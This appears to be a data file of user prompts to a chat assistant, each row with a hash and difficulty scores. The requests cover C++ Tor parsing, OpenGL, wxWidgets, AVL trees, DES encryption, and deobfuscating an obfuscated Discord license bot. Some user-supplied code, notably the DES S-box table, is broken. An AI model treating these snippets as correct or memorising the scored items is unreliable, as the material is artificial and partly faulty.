row_id
int64
0
48.4k
init_message
stringlengths
1
342k
conversation_hash
stringlengths
32
32
scores
dict
33,330
I want to create a source code for WhatsApp stickers that is professional and compatible with all phones using language java
bca52a0097d765059fe9d24b7b377416
{ "intermediate": 0.5196638703346252, "beginner": 0.22900578379631042, "expert": 0.25133034586906433 }
33,331
Give me a C++ class which use WinHTTP to download and parse the Tor consensus as described in the last Tor's whitepaper. The code must not use the C++ STL, but can use OpenSSL if required.
4cda760a13ce5d6a037d97f986ae7200
{ "intermediate": 0.486579030752182, "beginner": 0.3234216570854187, "expert": 0.18999935686588287 }
33,332
Give me a C++ class which use WinHTTP to parse the Tor consensus as described by the last Tor's directory protocol. The code must not use the C++ STL, but can use OpenSSL if required.
cc040a48d1340ed6676c1ed215648d6e
{ "intermediate": 0.5072137713432312, "beginner": 0.32220742106437683, "expert": 0.17057882249355316 }
33,333
Give me a C++ class to parse the Tor consensus as described by the last Tor's directory protocol. The code must not use the C++ STL, but can use OpenSSL and a regex library if required.
3c19001b3fed361f37f5f8a79767921d
{ "intermediate": 0.5607660412788391, "beginner": 0.33841580152511597, "expert": 0.10081809014081955 }
33,334
Give me a C++ class to parse the Tor consensus as described by the last Tor's directory protocol. The code can use OpenSSL and a regex library if required.
d0d3e1124b80ededd8a60e3daf63c41d
{ "intermediate": 0.5914749503135681, "beginner": 0.3134223520755768, "expert": 0.0951026976108551 }
33,335
в c# есть два файла в котором private void button1_Click(object sender, EventArgs e) { GetPrice.Execute(this); } вызывает другой файл public class GetPrice { public static void Execute(Form1 form) { string lang = “eng”; string imagePath = @“ImageContainer/price.jpg”; string absolutePath = Path.GetFullPath(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, imagePath)); Image image = Image.FromFile(imagePath); try { if (String.IsNullOrEmpty(imagePath) || String.IsNullOrWhiteSpace(imagePath)) { throw new Exception(“Отсутвует изображение”); } else if (lang == null) { throw new Exception(“Ошибка языка”); } else { Tesseract tesseract = new Tesseract(imagePath, lang, OcrEngineMode.TesseractLstmCombined); tesseract.SetImage(new Image<Bgr, byte>(imagePath)); tesseract.Recognize(); form.textBox1.Text = tesseract.GetUTF8Text(); tesseract.Dispose(); } } catch (Exception ex) { MessageBox.Show(ex.Message, “Ошибка”, MessageBoxButtons.OK, MessageBoxIcon.Error); } { } } } и выдает ошибку Form1.textBox1 недоступен из-за его уровня защиты в строке form.textBox1.Text = tesseract.GetUTF8Text();
f2debde9c3943272c55afe000f97403a
{ "intermediate": 0.3733765780925751, "beginner": 0.38000667095184326, "expert": 0.24661673605442047 }
33,336
From the document https://github.com/torproject/torspec/blob/main/dir-spec.txt, give me a C++ class to parse the Tor's consensus. you can use a regex expressions library and OpenSSL if needed.
44fdf19aad2e048bbb52d26780b417ab
{ "intermediate": 0.557440996170044, "beginner": 0.3532527983188629, "expert": 0.08930624276399612 }
33,337
how to control to draw line by using graphic open gl library by using mouse
99b16957c095b5580c5e376b51cee27a
{ "intermediate": 0.628075122833252, "beginner": 0.14337366819381714, "expert": 0.2285512387752533 }
33,338
Give me a C++ allowing to simulate the nervous system of a primitive animal, including memory.
4261f4341469850b1339a8970f05e118
{ "intermediate": 0.29102036356925964, "beginner": 0.1988374888896942, "expert": 0.5101421475410461 }
33,339
What would be a good synaptic plasticity model to use with a Izhikevich neuron model ? The goal is to support STDP and LTP, to allow memory-like behaviors of the network
4d077de10b715ed9059f782089a91dfa
{ "intermediate": 0.09445744752883911, "beginner": 0.07172194123268127, "expert": 0.833820641040802 }
33,340
how to get mean over a Pandas DataFrame on one column by applying a condition for another column
3afd5df357ff8c2cecbc43cdfd2c2495
{ "intermediate": 0.46826887130737305, "beginner": 0.16588947176933289, "expert": 0.36584174633026123 }
33,341
Now try to modify and extend your program! Be sure to meet these minimum technical requirements: Add a second dancer to your program. Make sure you place it near the top! Name it dancer2. Add actions to some of your key events and assign them to dancer2 using dot notation. stage.set_background("concert") dancer = codesters.Sprite("knight1", 0, -100) def left_key(): dancer.move_left(100) dancer.flip_right_left() stage.wait(1) dancer.flip_right_left() # add other actions... stage.event_key("left", left_key) def right_key(): dancer.move_right(100) dancer.flip_right_left() stage.wait(1) dancer.flip_right_left() # add other actions... stage.event_key("right", right_key) def a_key(): # add other actions... dancer.turn_left(90) dancer.turn_right(90) stage.event_key("a", a_key) def s_key(): # add other actions... dancer.move_up(50) dancer.turn_left(360) dancer.move_down(50) stage.event_key("s", s_key) def space_bar(): for counter in range(5): dancer.flip_right_left() stage.wait(.1) # add other actions... stage.event_key("space", space_bar) use def a_key(): pass # delete after adding indented code # add other actions... stage.event_key("a", a_key)
1798ec2641f12d451d2e922ed85e6ef0
{ "intermediate": 0.41642168164253235, "beginner": 0.33975711464881897, "expert": 0.24382123351097107 }
33,342
This code is working. But it selected all dates from initial to 25. But I need only select day 25 # Configure Chrome WebDriver driver = webdriver.Chrome() # Navigate to a specified page driver.get("https://10.10.117.203/prod/ru/reports/finance_client_status") # Click on the calendar element input_element = driver.find_element(By.CSS_SELECTOR, 'input.dates-container.form-control') input_element.click() # Find the left part of the calendar start_calendar = driver.find_element(By.CSS_SELECTOR, '.drp-calendar.left') start_calendar.click() wait = WebDriverWait(driver, 5) wait.until(expected_conditions.visibility_of_element_located((By.CSS_SELECTOR, '.drp-calendar.left'))) current_month = driver.find_element(By.CLASS_NAME,'monthselect').get_attribute('value') current_year = driver.find_element(By.CLASS_NAME,'yearselect').get_attribute('value') while not(current_month.__eq__("9") and current_year.__eq__("2023")): driver.find_element(By.XPATH, "//th[@class='next available']").click() current_month = driver.find_element(By.CLASS_NAME,'monthselect').get_attribute('value') current_year = driver.find_element(By.CLASS_NAME,'yearselect').get_attribute('value') driver.find_element(By.XPATH, "//td[contains(@class, 'available') or contains(@class, 'weekend available')][text()='25']").click()
6a02a26f1b52443128063afcab580917
{ "intermediate": 0.4303729832172394, "beginner": 0.3225831091403961, "expert": 0.24704386293888092 }
33,343
I have two voltage list like 100,99,99 (on state voltage) and 0,1,2 (off state voltage)as voltage input, and two time list like 5,6,4 (on state duration) and 2,2.5,3 (off state duration). it means stay a 100 volt for 5 second, then change to 0 volt and stay for 2 second, then change to 99 volt and stay for 6 second, then change to 1 volt and stay for 2.5 second. I want a python code to generate the pulsed voltage
a74cd588c8dbf7ac8eb784cdda1db960
{ "intermediate": 0.4139147102832794, "beginner": 0.2458794265985489, "expert": 0.3402057886123657 }
33,344
how to draw circle by using mouse by using graphical open gl c++ language
ae94637b52ed4e2e1a1a47c082d25380
{ "intermediate": 0.36232370138168335, "beginner": 0.3325943350791931, "expert": 0.3050819933414459 }
33,345
Make a dialog of 2 persons who talk about should the travellers always respect other's people culture or not? about 8 replicas for each person
0862b91ef8450ec7fac7c56139b639dd
{ "intermediate": 0.34741395711898804, "beginner": 0.35638493299484253, "expert": 0.2962011694908142 }
33,346
super! could print all intermidiate hoursmarks even emty SELECT DATE_FORMAT(FROM_UNIXTIME(timecreated), '%H:00 %e %b %Y') AS date_hour, COUNT(DISTINCT userid) AS unique_users_count FROM mdl_logstore_standard_log GROUP BY date_hour ORDER BY timecreated;
b993c9c83461b0a178dd1384eb12d625
{ "intermediate": 0.36627262830734253, "beginner": 0.3558289706707001, "expert": 0.27789849042892456 }
33,347
#include <iostream> #include <algorithm> struct Node { int data; int left; int right; int height; }; int Height(int index, Node arr[]) { if (index == -1) return 0; if (arr[index].height > 0) return arr[index].height; arr[index].height = 1 + std::max(Height(arr[index].left, arr), Height(arr[index].right, arr)); return arr[index].height; } int Balance(int index, Node arr[]) { if (index == -1) return 0; return Height(arr[index].right, arr) - Height(arr[index].left, arr); } void UpdateHeight(int index, Node arr[]) { if (index == -1) return; arr[index].height = 1 + std::max(Height(arr[index].left, arr), Height(arr[index].right, arr)); } int RightRotate(int y, Node arr[]) { int x = arr[y].left; int T2 = arr[x].right; arr[x].right = y; arr[y].left = T2; UpdateHeight(y, arr); UpdateHeight(x, arr); return x; } int LeftRotate(int x, Node arr[]) { int y = arr[x].right; int T2 = arr[y].left; arr[y].left = x; arr[x].right = T2; UpdateHeight(x, arr); UpdateHeight(y, arr); return y; } void print(int root, Node arr[]) { static int index = 4; std::cout << arr[arr[root].left].data << ' '; std::cout << (arr[arr[root].left].left == -1 ? 0 : index) << ' '; ++index; std::cout << (arr[arr[root].left].left == -1 ? 0 : index) << '\n'; ++index; std::cout << arr[arr[root].right].data << ' '; std::cout << (arr[arr[root].right].right == -1 ? 0 : index) << ' '; ++index; std::cout << (arr[arr[root].right].right == -1 ? 0 : index) << '\n'; ++index; if (arr[arr[root].left].left != -1) { print(arr[root].left, arr); } if (arr[arr[root].right].right != -1) { print(arr[root].right, arr); } } int main() { int n; std::cin >> n; Node arr[n]; for (int i = 0; i < n; ++i) { std::cin >> arr[i].data; std::cin >> arr[i].left >> arr[i].right; arr[i].left -= 1; arr[i].right -= 1; arr[i].height = 0; } for (int i = 0; i < n; ++i) { Height(i, arr); } int root = 0; if (Balance(arr[root].right, arr) < 0) { arr[root].right = RightRotate(arr[root].right, arr); } root = LeftRotate(root, arr); std::cout << n << std::endl; std::cout << root << ' ' << 2 << ' ' << 3 << '\n'; print(root, arr); return 0; } 3 3 0 2 5 1 0 4 0 0 [1] 57470 segmentation fault ./main исправь(сам принцип выводо с index измнениться не должен)
99dc8854e5dc4a491ffbbf19f562ddc2
{ "intermediate": 0.28154298663139343, "beginner": 0.35865914821624756, "expert": 0.359797865152359 }
33,348
#include <iostream> #include <string> struct Node { std::string name; Node* left = nullptr; Node* right = nullptr; int height = 1; Node(const std::string& name) : name(name) {} }; int height(Node* root) { if (root == nullptr) return 0; return root->height; } int Balance(Node* root) { if (root == nullptr) return 0; return height(root->left) - height(root->right); } Node* RightRotation(Node* y) { Node* x = y->left; Node* T2 = x->right; x->right = y; y->left = T2; y->height = std::max(height(y->left), height(y->right)) + 1; x->height = std::max(height(x->left), height(x->right)) + 1; return x; } Node* LeftRotation(Node* x) { Node* y = x->right; Node* T2 = y->left; y->left = x; x->right = T2; x->height = std::max(height(x->left), height(x->right)) + 1; y->height = std::max(height(y->left), height(y->right)) + 1; return y; } bool find(std::vector<char>& arr, char eq_ch) { for (auto ch : arr) { if (ch == eq_ch) return true; } return false; } void Insert(Node*& root, const std::string& name, std::vector<char>& unique_simbols) { if (!root) { root = new Node(name); return; } if (name < root->name) { Insert(root->left, name, unique_simbols); } else if (name > root->name) { Insert(root->right, name, unique_simbols); } else { for (auto ch : name) { if (!find(unique_simbols, ch)) { unique_simbols.push_back(ch); } } } root->height = 1 + std::max(height(root->left), height(root->right)); int balance = Balance(root); if (balance > 1 && name < root->left->name) { root = RightRotation(root); } else if (balance < -1 && name > root->right->name) { root = LeftRotation(root); } else if (balance > 1 && name > root->left->name) { root->left = LeftRotation(root->left); root = RightRotation(root); } else if (balance < -1 && name < root->right->name) { root->right = RightRotation(root->right); root = LeftRotation(root); } } int main() { int n; std::cin >> n; std::vector<char> unique_simbols; Node* root = nullptr; for (int i = 0; i < n; ++i) { std::string name; std::cin >> name; Insert(root, name, unique_simbols); } std::cout << unique_simbols.size(); } мой код почему то не проходит 3-й тест в задаче ниже(я не знаю что за тест) исправь пж пж У Пети в телефоне записаны номера друзей. Однажды Петя заметил, что у него кончается свободная память на устройстве. Петя знал, что среди его контактов есть множество дубликатов. Он решил удалить повторяющиеся записи. Каждый контакт - это строка, состоящая исключительно из строчных или заглавных букв латинского алфавита и цифр. При удалении строки освобождается � M байт памяти, где � M - количество различных символов в данной строке. Помогите Пете узнать, сколько памяти в байтах он сможет освободить. Входные данные В первой строке входных данных дается число � n ( 1 ≤ � ≤ 1 0 5 1≤n≤10 5 ) - количество контактов в телефоне. В следующей строке записаны через пробел � n строк - контакты Пети. Выходные данные Выведите одно число - ответ на задачу. STDIN STDOUT 5 qqwe qqwe abc s s 4 Примечание Решения, написанные при помощи сортировок, бинпоиска или встроенных деревьев, структур данных set, map и прочих - не засчитываются.
a80f3726eb7dc56ff578d77aaa90da40
{ "intermediate": 0.3198518455028534, "beginner": 0.36614990234375, "expert": 0.3139983117580414 }
33,349
python code to calculate average waiting time in queue for an erlang C assuming N workers to process calls
8ce34982018425ad55e142be0adaadce
{ "intermediate": 0.434764564037323, "beginner": 0.23111987113952637, "expert": 0.334115594625473 }
33,350
def pad_plaintext(plaintext): while len(plaintext) < 8: plaintext += "@" return plaintext[:8] def text_to_binary(text): binary_text = "" for char in text: binary_char = bin(ord(char))[2:].zfill(8) binary_text += binary_char return binary_text def split_blocks(plaintext): blocks = [] while len(plaintext) > 0: blocks.append(plaintext[:8]) plaintext = plaintext[8:] return blocks def ascii_to_binary_key(key): binary_key = "" for char in key: binary_key += format(ord(char), '08b') return binary_key def apply_key_permutation(binary_key, permutation_table): permuted_key = "" for index in permutation_table: permuted_key += binary_key[index - 1] return permuted_key def generate_subkeys(key): pc_1_table = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4] pc_2_table = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32] if len(key) != 8: raise ValueError("Key size must be 8 characters.") binary_key = ascii_to_binary_key(key) permuted_key = apply_key_permutation(binary_key, pc_1_table) # Convert key to numeric value permuted_key = int(permuted_key, 2) subkeys = [] # Generate subkeys for each round for round in range(1, 17): # Left shifts for left half and right half of the key left_shifts = 1 if round in [1, 2, 9, 16] else 2 permuted_key = ((permuted_key << left_shifts) & 0xFFFFFFFFFFFF) | ( permuted_key >> (28 - left_shifts)) # Use PC-2 table to convert the key to a 48-bit subkey subkey = apply_key_permutation( bin(permuted_key)[2:].zfill(56), pc_2_table) subkeys.append(subkey) return subkeys initia_lpermutation_table= [58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4, 62, 54, 46, 38, 30, 22, 14, 6, 64, 56, 48, 40, 32, 24, 16, 8, 57, 49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35, 27, 19, 11, 3, 61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39, 31, 23, 15, 7] def initial_permutation(block): # Perform initial permutation on the block if len(block)<64: block = block.zfill(64) permuted_block = "" for index in initia_lpermutation_table: permuted_block += block[index - 1] return permuted_block # Perform expansion permutation on the block expansion_table = [32, 1, 2, 3, 4, 5, 4, 5, 6, 7, 8, 9, 8, 9, 10, 11, 12, 13, 12, 13, 14, 15, 16, 17, 16, 17, 18, 19, 20, 21, 20, 21, 22, 23, 24, 25, 24, 25, 26, 27, 28, 29, 28, 29, 30, 31, 32, 1] def expand_permutation(block): expanded_block="" for index in expansion_table: expanded_block += block[index - 1] return expanded_block def substitute(s_box_input, s_box_index): s_boxes = [ # S1 [ [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7], [0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8], [4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0], [15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13] ] #S2 [ [15, 1 ,80, 14, 60, 11 ,30, 40, 90 ,70, 20, 13 ,12, 00, 50, 10], [30, 13, 40, 70, 15, 20, 8, 14, 12, 00, 10, 10, 60,90, 11 ,50], [00, 14, 70 ,11, 10 ,40, 13, 10,50, 80 ,12, 60, 90, 30, 20, 15], [13, 80 ,10, 10, 30, 15, 40, 20 ,11 ,60, 70, 12, 00, 50 ,14, 90] ] ] row = int(s_box_input[0] + s_box_input[3], 2) column = int(s_box_input[1:3], 2) value = s_boxes[s_box_index][row][column] return bin(value)[2:].zfill(4) def encrypt(plaintext, key): plaintext = pad_plaintext(plaintext) binary_text = text_to_binary(plaintext) blocks = split_blocks(binary_text) subkeys = generate_subkeys(key) encrypted_blocks = [] for block in blocks: block = initial_permutation(block) if len(block)<32: block = block.zfill(32) left_half = block[:32] right_half = block[32:] for round in range(1, 17): previous_left_half = left_half # Expansion permutation right_expanded = expand_permutation(right_half) # XOR with round subkey subkey = subkeys[round - 1] right_expanded = bin(int(right_expanded, 2) ^ int(subkey, 2))[2:].zfill(48) # S-box substitution s_box_input = "" for i in range(0, 48, 6): s_box_input += substitute(right_expanded[i:i+6], i//6) # Permutation permutation_table = [16, 7, 20, 21, 29, 12, 28, 17, 1, 15, 23, 26, 5, 18, 31, 10, 2, 8, 24, 14, 32, 27, 3, 9, 19, 13, 30, 6, 22, 11, 4, 25] right_half = apply_key_permutation(s_box_input, permutation_table) # XOR with previous left half right_half = bin(int(right_half, 2) ^ int( previous_left_half, 2))[2:].zfill(32) # Swap left and right halves left_half, right_half = right_half, left_half # Final permutation encrypted_block = apply_key_permutation( right_half+left_half,initia_lpermutation_table) encrypted_blocks.append(encrypted_block) encrypted_text = "" for block in encrypted_blocks: for i in range(0, 8, 8): encrypted_text += chr(int(block[i:i+8], 2)) return encrypted_text # Take user input for plaintext and key plaintext = input("Enter the plaintext: ") key = input("Enter the key (8 characters): ") # Encrypt the plaintext using the key encrypted_text = encrypt(plaintext, key) # Print the encrypted text print("Encrypted Text:", encrypted_text) binary_text = text_to_binary(plaintext) blocks = split_blocks(binary_text) subkeys = generate_subkeys(key) encrypted_blocks = [] for block in blocks: block = initial_permutation(block) left_half = block[:32] right_half = block[32:] for round in range(1, 17): previous_left_half = left_half # Expansion permutation right_expanded = expand_permutation(right_half) # XOR with round subkey subkey = subkeys[round - 1] right_expanded = bin(int(right_expanded, 2) ^ int(subkey, 2))[2:].zfill(48) # S-box substitution s_box_input = "" for i in range(0, 48, 6): s_box_input += substitute(right_expanded[i:i+6], i//6) # Permutation permutation_table = [16, 7, 20, 21, 29, 12, 28, 17, 1, 15, 23, 26, 5, 18, 31, 10, 2, 8, 24, 14, 32, 27, 3, 9, 19, 13, 30, 6, 22, 11, 4, 25] right_half = apply_key_permutation(s_box_input, permutation_table) # XOR with previous left half right_half = bin(int(right_half, 2) ^ int( previous_left_half, 2))[2:].zfill(32) # Swap left and right halves left_half, right_half = right_half, left_half # Final permutation encrypted_block = apply_key_permutation(right_half + left_half, initia_lpermutation_table) encrypted_blocks.append(encrypted_block)error Value =s_boxes[s_box_index] [row] [column]error Int object is not subscriptable
0aa83c5a34de86089a352a1a47a17037
{ "intermediate": 0.3371845483779907, "beginner": 0.4498818516731262, "expert": 0.21293359994888306 }
33,351
The required column 'BrandIdId' was not present in the results of a 'FromSql' operation как решить
df642d44532087b85897e034e59336c5
{ "intermediate": 0.39659383893013, "beginner": 0.1819363236427307, "expert": 0.42146986722946167 }
33,352
I am making a crossplatform c++ wxwidgets desktop app, and I got a problem on Windows, Linux works perfectly. I have a method that detects if a wxCombobox was edited and then do something. The problem on Windows is that it calls this method as soon as the frame is loaded and the wxCombobox was initialized with the initial value, where on Linux it doesn't call it. The method is this: void Frame::OnCombobox(wxCommandEvent& event) { if ((event.GetEventType() == wxEVT_COMMAND_COMBOBOX_SELECTED || event.GetEventType() == wxEVT_COMMAND_TEXT_UPDATED) && event.GetSelection() != wxNOT_FOUND) { SetEdited(); } event.Skip(); } And the callstack is this: #0 ?? Frame::OnCombobox (this=0x2ba5ff0, event=...) #1 0x698c3946 wxAppConsoleBase::HandleEvent(this=0x2b63490, handler=0x2ba5ff0, func=&virtual table offset 2232, event=...) (../../src/common/appbase.cpp:657) #2 0x698c39c7 wxAppConsoleBase::CallEventHandler(this=0x2b63490, handler=0x2ba5ff0, functor=..., event=...) (../../src/common/appbase.cpp:669) #3 0x6999a7d2 wxEvtHandler::ProcessEventIfMatchesId(entry=..., handler=0x2ba5ff0, event=...) (../../src/common/event.cpp:1425) #4 0x6999b4e8 wxEvtHandler::SearchDynamicEventTable(this=0x2ba79b0, event=...) (../../src/common/event.cpp:1897) #5 0x6999ac45 wxEvtHandler::TryHereOnly(this=0x2ba79b0, event=...) (../../src/common/event.cpp:1618) #6 0x699ddc6c wxEvtHandler::TryBeforeAndHere(this=0x2ba79b0, event=...) (../../include/wx/event.h:3927) #7 0x6999aaca wxEvtHandler::ProcessEventLocally(this=0x2ba79b0, event=...) (../../src/common/event.cpp:1555) #8 0x6999aa66 wxEvtHandler::ProcessEvent(this=0x2ba79b0, event=...) (../../src/common/event.cpp:1528) #9 0x6999ad36 wxEvtHandler::SafelyProcessEvent(this=0x2ba79b0, event=...) (../../src/common/event.cpp:1646) #10 0x6cf56f0a wxWindowBase::HandleWindowEvent(this=0x2ba79b0, event=...) (../../src/common/wincmn.cpp:1570)
4fa370decc256583f90d27bfa54de3e9
{ "intermediate": 0.6675207614898682, "beginner": 0.17913861572742462, "expert": 0.1533406376838684 }
33,353
I am making a crossplatform c++ wxwidgets desktop app, and I got a problem on Windows, Linux works perfectly. I have a method that detects if a wxCombobox was edited and then do something. The problem on Windows is that it calls this method as soon as the frame is loaded and the wxCombobox was initialized with the initial value, where on Linux it doesn’t call it. The method is this: void Frame::OnCombobox(wxCommandEvent& event) { if ((event.GetEventType() == wxEVT_COMMAND_COMBOBOX_SELECTED || event.GetEventType() == wxEVT_COMMAND_TEXT_UPDATED) && event.GetSelection() != wxNOT_FOUND) { SetEdited(); } event.Skip(); } And the callstack is this: #0 ?? Frame::OnCombobox (this=0x2ba5ff0, event=…) #1 0x698c3946 wxAppConsoleBase::HandleEvent(this=0x2b63490, handler=0x2ba5ff0, func=&virtual table offset 2232, event=…) (…/…/src/common/appbase.cpp:657) #2 0x698c39c7 wxAppConsoleBase::CallEventHandler(this=0x2b63490, handler=0x2ba5ff0, functor=…, event=…) (…/…/src/common/appbase.cpp:669) #3 0x6999a7d2 wxEvtHandler::ProcessEventIfMatchesId(entry=…, handler=0x2ba5ff0, event=…) (…/…/src/common/event.cpp:1425) #4 0x6999b4e8 wxEvtHandler::SearchDynamicEventTable(this=0x2ba79b0, event=…) (…/…/src/common/event.cpp:1897) #5 0x6999ac45 wxEvtHandler::TryHereOnly(this=0x2ba79b0, event=…) (…/…/src/common/event.cpp:1618) #6 0x699ddc6c wxEvtHandler::TryBeforeAndHere(this=0x2ba79b0, event=…) (…/…/include/wx/event.h:3927) #7 0x6999aaca wxEvtHandler::ProcessEventLocally(this=0x2ba79b0, event=…) (…/…/src/common/event.cpp:1555) #8 0x6999aa66 wxEvtHandler::ProcessEvent(this=0x2ba79b0, event=…) (…/…/src/common/event.cpp:1528) #9 0x6999ad36 wxEvtHandler::SafelyProcessEvent(this=0x2ba79b0, event=…) (…/…/src/common/event.cpp:1646) #10 0x6cf56f0a wxWindowBase::HandleWindowEvent(this=0x2ba79b0, event=…) (…/…/src/common/wincmn.cpp:1570)
52245163db9dedcc9247876f2ac802e7
{ "intermediate": 0.7485774755477905, "beginner": 0.14102916419506073, "expert": 0.11039333790540695 }
33,354
Create python code for scrapping historical results from Formula 1
ec32df2464709a1317e186d50fd0f533
{ "intermediate": 0.28906863927841187, "beginner": 0.16361592710018158, "expert": 0.5473154783248901 }
33,355
What is the essential performance of an insulin bolus recommendation device
ed8934279f40284dd4967c0242162138
{ "intermediate": 0.22202430665493011, "beginner": 0.193376362323761, "expert": 0.5845993161201477 }
33,356
deobfucsate thisd code: const _0x39e1e0 = function () { let _0xb38b7c = true; return function (_0x51664e, _0x14c5c8) { const _0x485c76 = _0xb38b7c ? function () { if (_0x14c5c8) { const _0x45a841 = _0x14c5c8.apply(_0x51664e, arguments); _0x14c5c8 = null; return _0x45a841; } } : function () {}; _0xb38b7c = false; return _0x485c76; }; }(); const _0x1d9df1 = _0x39e1e0(this, function () { return _0x1d9df1.toString().search('(((.+)+)+)+$').toString().constructor(_0x1d9df1).search('(((.+)+)+)+$'); }); _0x1d9df1(); const { SlashCommandBuilder } = require('@discordjs/builders'); const Discord = require('discord.js'); const fs = require('fs'); const yaml = require('js-yaml'); const config = yaml.load(fs.readFileSync('./config.yml', 'utf8')); const productModel = require('../models/productModel'); const licenseModel = require('../models/licenseModel'); const statisticsModel = require('../models/statisticsModel'); const utils = require('../utils.js'); module.exports = { 'data': new SlashCommandBuilder().setName('license').setDescription("Manage licenses").addSubcommand(_0x358e83 => _0x358e83.setName('create').setDescription("Create a new license key").addUserOption(_0x23fea1 => _0x23fea1.setName('user').setDescription('User').setRequired(true)).addStringOption(_0x1a3dea => _0x1a3dea.setName('product').setDescription("The product to create the license for (Name)").setRequired(true)).addNumberOption(_0x5a9a74 => _0x5a9a74.setName('builtbybituserid').setDescription("The user's BuiltByBit user ID").setRequired(config.LicenseSettings.RequireBuiltByBitUserID))).addSubcommand(_0x4a8bcb => _0x4a8bcb.setName('delete').setDescription("Delete a specific license key").addStringOption(_0x22e7bf => _0x22e7bf.setName('licensekey').setDescription("The license key to delete").setRequired(true))).addSubcommand(_0x164293 => _0x164293.setName('list').setDescription("Get a list of all license keys")).addSubcommand(_0x40f561 => _0x40f561.setName('get').setDescription("Get information about a specific license key").addStringOption(_0x3205cf => _0x3205cf.setName('query').setDescription("The query to search for (license key, user id, builtbybit user id)").setRequired(true))).addSubcommand(_0x491d96 => _0x491d96.setName('cleardata').setDescription("Clear IP or HWID data of a specific license key").addStringOption(_0x5f2fd9 => _0x5f2fd9.setName('data').setDescription("Data to clear").addChoices({ 'name': 'IP', 'value': 'IP' }, { 'name': 'HWID', 'value': 'HWID' }).setRequired(true)).addStringOption(_0x291837 => _0x291837.setName('licensekey').setDescription("The query to search for (license key, user id, builtbybit user id)").setRequired(true))), async 'execute'(_0x67a592, _0x779a91) { let _0xf93528 = _0x67a592.options.getSubcommand(); let _0x8377fb; if (config.WebhookLogsSettings.Enabled && config.WebhookLogsSettings.CommandsWebhookURL) { _0x8377fb = new Discord.WebhookClient({ 'url': config.WebhookLogsSettings.CommandsWebhookURL }); } if (_0xf93528 === 'create') { if (config.license_create.Enabled === false) { return _0x67a592.reply({ 'content': "\uD83D\uDD34 | This command has been disabled in the config!", 'ephemeral': true }); } const _0x1a7589 = config.license_create.AllowedRoles.some(_0x4127d5 => { const _0x6f0484 = _0x67a592.guild.roles.cache.get(_0x4127d5); return _0x6f0484 && _0x67a592.member.roles.cache.has(_0x4127d5); }); if (!config.DevMode && !_0x1a7589) { return _0x67a592.reply({ 'content': "\uD83D\uDD34 | " + config.Locale.NoPermsMessage, 'ephemeral': true }); } let _0x3d3bec = _0x67a592.options.getUser('user'); let _0x58cee0 = _0x67a592.options.getString('product'); let _0x5dd518 = _0x67a592.options.getNumber('builtbybituserid'); if (!_0x5dd518) { _0x5dd518 = 'Unknown'; } const _0x4dca89 = await productModel.findOne({ 'name': _0x58cee0 }); if (!_0x4dca89 || _0x4dca89?.['length'] === 0x0) { return _0x67a592.reply({ 'content': "\uD83D\uDD34 | A product with that name doesn't exist!", 'ephemeral': true }); } await _0x67a592.deferReply({ 'ephemeral': true }); const _0x387d5b = new Discord.ButtonBuilder().setCustomId('yes').setLabel('Yes').setStyle('Primary').setEmoji('👍'); const _0x118502 = new Discord.ButtonBuilder().setCustomId('no').setLabel('No').setStyle('Secondary').setEmoji('👎'); let _0x4c72e4 = new Discord.ActionRowBuilder().addComponents(_0x387d5b, _0x118502); const _0x4fe00c = await licenseModel.find({ 'discordUserID': _0x3d3bec.id, 'productName': _0x58cee0 }); if (_0x4fe00c && _0x4fe00c.length > 0x0) { return _0x67a592.editReply({ 'content': "\uD83D\uDD34 | This user already has a license key for **" + _0x58cee0 + "**! Are you sure you want to create another key?", 'components': [_0x4c72e4], 'ephemeral': true, 'fetchReply': true }).then(async _0x3916e6 => { const _0x2e9f63 = _0x3916e6.createMessageComponentCollector({ 'time': 0x493e0 }); _0x2e9f63.on('collect', async _0x1f5dbb => { if (_0x1f5dbb.customId === 'yes') { await _0x1f5dbb.deferUpdate(); await _0x67a592.deleteReply(); let _0x243880 = _0x779a91.users.cache.get(_0x3d3bec.id); let _0x36a6ed; let _0x3d92e3; if (!_0x243880) { _0x36a6ed = "\u26A0\uFE0F Unknown"; } if (!_0x243880) { _0x3d92e3 = 'Unknown'; } if (_0x243880) { _0x36a6ed = '<@!' + _0x243880.id + '>'; } if (_0x243880) { _0x3d92e3 = '' + _0x243880.username; } const _0x14cd88 = new Discord.ButtonBuilder().setCustomId('create').setLabel('Create').setStyle('Primary'); const _0x47f580 = new Discord.ButtonBuilder().setCustomId('cancel').setLabel('Cancel').setStyle('Secondary'); let _0x5b7440 = new Discord.ActionRowBuilder().addComponents(_0x14cd88, _0x47f580); let _0x451ad4 = new Discord.EmbedBuilder(); _0x451ad4.setAuthor({ 'name': "\uD83D\uDFE0 Confirm License Information" }); _0x451ad4.setColor('Orange'); _0x451ad4.addFields({ 'name': "\u2022 License Information:", 'value': "> Product: ``" + _0x58cee0 + '``' }); _0x451ad4.addFields({ 'name': "\u2022 License User Information:", 'value': "> User: " + _0x36a6ed + " (" + _0x3d92e3 + ")\n> User ID: ``" + _0x243880.id + "``\n> [BuiltByBit User ID:](https://builtbybit.com/members/swqpping." + _0x5dd518 + "/) ``" + _0x5dd518 + '``' }); _0x451ad4.addFields({ 'name': "\u2022 Created by:", 'value': "> User: <@!" + _0x67a592.user.id + "> (" + _0x67a592.user.username + ")\n> User ID: ``" + _0x67a592.user.id + '``' }); _0x451ad4.setTimestamp(); await _0x67a592.followUp({ 'embeds': [_0x451ad4], 'components': [_0x5b7440], 'ephemeral': true, 'fetchReply': true }).then(async _0x374cfc => { const 